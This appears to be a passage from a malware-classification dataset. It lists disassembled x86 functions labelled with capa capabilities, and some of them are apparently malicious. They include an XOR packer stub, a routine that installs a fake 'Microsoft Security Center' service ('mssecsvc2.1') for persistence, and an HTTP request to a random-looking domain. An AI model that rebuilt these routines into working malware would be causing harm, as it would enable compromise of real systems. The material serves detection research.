joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43d5c8
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x43d680
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x44]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.0043d55c
test al, al
je 0x43d662
mov ecx, dword [ebp - 0x24]
inc ecx
lea eax, [ebp - 4]
xor edx, edx
call fcn.00406d68
mov ebx, dword [ebp - 0x28]
dec ebx
test ebx, ebx
jl 0x43d662
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00406cb8
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegEnumKeyExW
mov eax, dword [ebp - 4]
call fcn.00406cb8
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.00406de8
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc esi
dec ebx
jne 0x43d61b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43d687
lea eax, [ebp - 0x2c]
call fcn.00406c1c
lea eax, [ebp - 4]
call fcn.00406c1c
ret

Function at 0x43df34
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
movzx eax, byte [ebp + 8]
call fcn.0043ccb8
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00406cb8
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExW
mov edx, eax
mov eax, ebx
call fcn.0043cf0c
test al, al
jne 0x43df9c
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0x11
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4c6910]
mov dl, 1
mov eax, dword [0x43ba68]
call fcn.00415268
call fcn.004059d4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x43dfa8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00406cb8
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov edx, eax
mov eax, ebx
call fcn.0043cf0c
test al, al
jne 0x43e009
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0x11
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4c6c50]
mov dl, 1
mov eax, dword [0x43ba68]
call fcn.00415268
call fcn.004059d4
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0043cce8
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x43e608
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x43e730
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, esi
call fcn.0043cfac
xor eax, eax
push ebp
push 0x43e70b
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x2c]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0043d55c
test al, al
je 0x43e6ef
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
mov edx, dword [ebp - 8]
mov eax, esi
call fcn.0043e4e8
pop ecx
mov ecx, dword [ebp - 0x20]
inc ecx
lea eax, [ebp - 4]
xor edx, edx
call fcn.00406d68
mov ebx, dword [ebp - 0x24]
dec ebx
test ebx, ebx
jl 0x43e6ef
inc ebx
xor edi, edi
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00406cb8
push eax
push edi
push esi
call sub.advapi32.dll_RegEnumValueW
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0043cf0c
test al, al
je 0x43e6eb
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00406cb8
mov edx, eax
lea eax, [ebp - 0x30]
call fcn.00406de8
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 8]
mov eax, esi
call fcn.0043e4e8
pop ecx
inc edi
dec ebx
jne 0x43e693
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e712
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 0x10]
call fcn.0043cfac
ret
Function at 0x43e740
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
xor ecx, ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x43e98e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 8]
call fcn.0043cfac
xor eax, eax
push ebp
push 0x43e964
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x44]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0043d55c
test al, al
je 0x43e948
mov ecx, dword [ebp - 0x40]
inc ecx
lea eax, [ebp - 4]
xor edx, edx
call fcn.00406d68
mov eax, dword [ebp - 0x44]
dec eax
test eax, eax
jl 0x43e948
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
call fcn.00406cb8
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegEnumKeyExW
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0043cf0c
test al, al
je 0x43e93c
mov eax, dword [ebp - 4]
call fcn.00406cb8
mov edx, eax
lea eax, [ebp - 0x48]
call fcn.00406de8
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0043e058
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x43e93c
xor eax, eax
push ebp
push 0x43e935
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 0xc]
call fcn.0043cfac
xor eax, eax
push ebp
push 0x43e917
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00406cb8
mov edx, eax
lea eax, [ebp - 0x4c]
call fcn.00406de8
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0043cfb0
mov eax, dword [ebp - 4]
call fcn.00406cb8
mov edx, eax
lea eax, [ebp - 0x50]
call fcn.00406de8
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0043e058
mov dword [ebp - 0x24], eax
xor eax, eax
push ebp
push 0x43e8f4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
push eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
call fcn.0043e608
pop ecx
mov eax, dword [ebp + 8]
push eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
call fcn.0043e740
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e8fb
mov eax, dword [ebp - 0x24]
push eax
call sub.advapi32.dll_RegCloseKey
ret
inc dword [ebp - 0x14]
dec dword [ebp - 0x28]
jne 0x43e7cb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e96b
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 0x18]
call fcn.0043cfac
ret
Function at 0x43ef60
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
test ebx, ebx
je 0x43f054
test esi, esi
jbe 0x43f054
mov eax, dword [ebp - 4]
add eax, 0x234
push eax
call sub.kernel32.dll_EnterCriticalSection
xor eax, eax
push ebp
push 0x43eff4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edi, dword [eax + 0x208]
test edi, edi
jne 0x43efba
call fcn.00405ac8
jmp 0x43f054
mov eax, dword [ebp - 4]
add eax, 0x20c
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push edi
call sub.kernel32.dll_ReadFile
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 9], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43effb
mov eax, dword [ebp - 4]
add eax, 0x234
push eax
call sub.kernel32.dll_LeaveCriticalSection
ret
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x43f060
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0xffffffff
test ebx, ebx
je 0x43f11d
cmp dword [ebp - 8], 0
jbe 0x43f11d
mov eax, dword [ebp - 4]
add eax, 0x234
push eax
call sub.kernel32.dll_EnterCriticalSection
xor eax, eax
push ebp
push 0x43f0f6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x208]
test esi, esi
jne 0x43f0b9
call fcn.00405ac8
jmp 0x43f11d
mov eax, dword [ebp - 4]
add eax, 0x220
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
push ebx
push esi
call sub.kernel32.dll_WriteFile
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0xd], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43f0fd
mov eax, dword [ebp - 4]
add eax, 0x234
push eax
call sub.kernel32.dll_LeaveCriticalSection
ret
mov eax, dword [ebp - 0xc]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x43f4b0
Capabilities:
Connect pipe

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov byte [ebp - 1], 0
mov edi, dword [ebx + 0x208]
test edi, edi
je 0x43f56f
test esi, esi
jne 0x43f4f8
push 0
push edi
call sub.kernel32.dll_ConnectNamedPipe
test eax, eax
je 0x43f4e8
mov byte [ebp - 1], 1
jmp 0x43f56f
call sub.kernel32.dll_GetLastError
cmp eax, 0x3e5
sete byte [ebp - 1]
jmp 0x43f56f
push 0
push 0
push 0xffffffffffffffff
push 0
call sub.kernel32.dll_CreateEventW
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x43f568
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebx + 0x208]
push eax
call sub.kernel32.dll_ConnectNamedPipe
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
jne 0x43f541
call sub.kernel32.dll_GetLastError
cmp eax, 0x3e5
jne 0x43f551
push esi
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WaitForSingleObject
test eax, eax
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43f56f
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
ret
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401310
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebp
mov ebp, dword [eax + 4]
mov eax, dword [eax]
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
push esi
lea esi, [ecx + eax + 0x18]
mov dword [esp + 8], 0
jbe 0x4013de
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esi, 0x10
cmp dword [esi], 0
jne 0x401377
mov edx, dword [esp + 0x1c]
mov ebx, dword [edx + 0x38]
test ebx, ebx
jle 0x4013bc
mov eax, dword [esi - 4]
push 4
push 0x1000
push ebx
add eax, ebp
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0
push eax
mov dword [esi - 8], eax
call fcn.0041ec90
add esp, 0xc
jmp 0x4013bc
nop
push 0
call edi
nop
push 0
call edi
mov ecx, dword [esi]
mov edx, dword [esi - 4]
push 4
push 0x1000
push ecx
add edx, ebp
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esi + 4]
add ecx, dword [esp + 0x18]
mov ebx, eax
mov eax, dword [esi]
push eax
push ecx
push ebx
call fcn.0041e920
add esp, 0xc
push 0
call edi
push 0
call edi
push 0
call edi
mov dword [esi - 8], ebx
mov edx, dword [esp + 0x20]
mov ecx, dword [edx]
mov eax, dword [esp + 0x10]
movzx edx, word [ecx + 6]
add eax, 1
add esi, 0x28
cmp eax, edx
mov dword [esp + 0x10], eax
jl 0x401342
pop edi
pop ebx
pop esi
pop ebp
pop ecx
ret
Function at 0x4079a5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x4079e8
call fcn.0040d43e
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4079e8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x407a03
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0040755c
test ebx, ebx
mov esi, eax
je 0x407a01
test edi, edi
je 0x407a01
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x40b100
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x40b146
call fcn.0040d43e
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40b146
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x40b189
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x40b172
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40b172
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x40b186
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40e26d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x40e29b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x40e2b9
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0040e1d7
jmp 0x40e2b9
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40e2b9
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0040e1d7
test edi, edi
mov eax, edi
jne 0x40e2a3
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x4666d0]
test ecx, ecx
je 0x40e37c
jmp 0x40e26c
ret 8

Function at 0x41dfff
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46383c]
jne 0x41e009
repz ret
jmp fcn.00423b6c
Function at 0x42b0b3
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004235b5
xor ebx, ebx
cmp dword [0x46759c], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x42b188
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x42b0f3
xor eax, eax
jmp 0x42b24c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x438718
push edi
call esi
cmp eax, ebx
je 0x42b0ec
push eax
call fcn.00423552
mov dword [esp], 0x438708
push edi
mov dword [0x46759c], eax
call esi
push eax
call fcn.00423552
mov dword [esp], 0x4386f4
push edi
mov dword [0x4675a0], eax
call esi
push eax
call fcn.00423552
mov dword [0x4675a4], eax
lea eax, [ebp - 8]
push eax
call fcn.004212a8
test eax, eax
pop ecx
pop ecx
je 0x42b156
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00424bda
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x42b188
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00423552
cmp eax, ebx
pop ecx
mov dword [0x4675ac], eax
je 0x42b188
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00423552
pop ecx
mov dword [0x4675a8], eax
mov eax, dword [0x4675a8]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x42b201
cmp dword [0x4675ac], esi
je 0x42b201
push eax
call fcn.004235be
pop ecx
call eax
cmp eax, ebx
je 0x42b1ce
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4675ac]
call fcn.004235be
pop ecx
call eax
test eax, eax
je 0x42b1ce
test byte [ebp - 0x18], 1
jne 0x42b201
lea eax, [ebp - 0xc]
push eax
call fcn.004212df
test eax, eax
pop ecx
je 0x42b1e9
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00424bda
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x42b1f8
or dword [ebp + 0x10], 0x200000
jmp 0x42b232
or dword [ebp + 0x10], 0x40000
jmp 0x42b232
mov eax, dword [0x4675a0]
cmp eax, esi
je 0x42b232
push eax
call fcn.004235be
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x42b232
mov eax, dword [0x4675a4]
cmp eax, esi
je 0x42b232
push dword [ebp - 4]
push eax
call fcn.004235be
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x46759c]
call fcn.004235be
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430fe4
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x46383c]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00430f79
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0041ec90
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x431033
cmp dword [ebp - 0x1c], 5
jb 0x43104b
jmp 0x431047
cmp dword [ebp - 0x10], 1
jne 0x43104b
cmp dword [ebp - 0x1c], 4
ja 0x431047
jne 0x43104b
cmp dword [ebp - 0x18], 0
jbe 0x43104b
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4398d0
call fcn.00430e6a
test eax, eax
jge 0x43106c
mov byte [0x464c20], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041dfff
add ebp, 0x78
leave
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x7240de4
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x685307cb
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x407c40
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
sub esp, 0x104
lea eax, [esp]
push edi
push 0x70f760
push str._s__m_security
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x407cca
push ebx
push esi
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x1c]
push 0
push ecx
push 1
push 2
push 0x10
push 0xf01ff
push str.Microsoft_Security_Center__2.1__Service
push str.mssecsvc2.1
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x407cbb
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
xor eax, eax
pop edi
add esp, 0x104
ret
xor eax, eax
pop edi
add esp, 0x104
ret
Function at 0x407fa0
Capabilities:
Modify service

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
xor edx, edx
mov dword [esp], 1
mov dword [esp + 8], 0
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea ecx, [ecx + ecx*4]
shl ecx, 3
cmp eax, 0xffffffff
mov dword [esp + 4], ecx
setne dl
mov eax, 0x70f87c
lea ecx, [esp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
push ecx
lea eax, [esp + 4]
push 2
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
add esp, 0x1c
ret

Function at 0x408140
Capabilities:
Create http request

Disassembly:
sub esp, 0x50
push esi
push edi
mov ecx, 0xe
mov esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
lea edi, [esp + 8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov word [esp + 0x55], ax
push eax
push eax
push eax
push 1
push eax
mov byte [esp + 0x6b], al
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x84000000
push 0
lea ecx, [esp + 0x14]
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
jmp 0x4081a7
call esi
push 0
call esi
call fcn.00408090
pop edi
xor eax, eax
pop esi
add esp, 0x50
ret 0x10
Function at 0x401488
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [0x42a650]
or eax, 8
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x40151d
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x4014da
cmp dword [ebp + 0x10], ebx
jne 0x401511
push ebx
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 4]
call fcn.00401488
test eax, eax
jne 0x4014ec
push edi
lea eax, [ebp - 0x210]
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x4014c1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.00405b31
cmp eax, ebx
je 0x401524
push ebx
push dword [0x42a650]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x40151d
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a650], ebx
jne 0x40151a
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x40151a
jmp 0x40151d